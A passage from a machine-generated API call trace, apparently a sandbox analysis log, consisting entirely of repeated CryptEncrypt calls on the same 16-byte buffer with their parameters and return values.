pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.133] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.133] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.133] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.133] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.133] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.133] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.133] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.133] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.133] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.133] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.133] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.134] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.134] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.134] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.134] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.134] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.134] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.134] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.134] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.134] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.134] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.134] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.134] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.134] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.134] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.134] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.134] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.135] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.135] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.135] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.135] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.135] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.135] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.135] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.135] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.135] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.135] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.135] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.135] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.135] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.135] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.135] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.135] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.135] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.135] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.135] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.135] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.135] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.135] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.136] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.136] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.136] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.136] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.136] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.136] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.136] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.136] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.136] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.136] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.136] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.136] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.136] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.136] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.136] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.136] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.136] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.136] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.136] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.136] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.136] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.136] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.136] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.136] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.137] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.137] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.137] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.137] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.137] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.137] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.137] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.137] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.137] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.137] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.137] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.137] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.137] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.137] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.137] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.137] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.137] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.137] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.137] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.137] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.138] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.138] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.138] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.138] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.138] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.138] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.138] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.138] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.138] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.138] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.138] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.138] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.138] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.138] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.138] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: 